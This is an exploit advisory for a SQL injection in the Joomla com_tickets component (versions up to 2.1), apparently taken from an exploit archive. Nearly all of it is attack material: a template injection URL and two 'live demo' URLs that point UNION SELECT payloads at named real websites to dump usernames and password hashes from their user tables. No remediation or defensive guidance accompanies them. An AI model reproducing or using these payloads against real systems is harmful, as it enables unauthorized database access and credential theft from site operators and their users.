Joomla Component com_tickets <= 2.1 (id) SQL Injection Vuln

===========================================================
Joomla Component com_tickets <= 2.1 (id) SQL Injection Vuln
===========================================================


++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Joomla Component com_tickets (id) SQL-injection Vulnerability
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


###################################################
[+] Author        :  Chip D3 Bi0s
[+] Greetz        :  d4n1ux + x_jeshua + eCORE + rayok3nt
[+] Vulnerability :  SQL injection 

###################################################

Info component:
sssssssssssssss
Name 		: Tickets
Version		: 0.1 & 2.1
Author		: Paul Coogan
Web author 	: http://www.ideabuzz.com

###################################################

Example:
http://localHost/path/index.php?option=com_tickets&task=form&id=n[SQL code]

n = id valid


Demo Live Joomla : version 2.1
ssssssssssssssssssssssssssssss
http://www.helendaleeducationfoundation.org/index.php?option=com_tickets&task=form&id=1+and+1=2+union+select+1,2,3,4,5,concat(username,0x3a,password),7,8,9,10,11,12,13,14,15,16,17,18+from+jos_users/*

Demo Live Mambo : Version 0.1
sssssssssssssssssssssssssssss
http://www.narip.com/index.php?option=com_tickets&task=form&id=68+and+1=2+union+select+1,2,3,4,5,concat(username,0x3a,password),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+mos_users/*




#  0day.today [2018-01-01]  #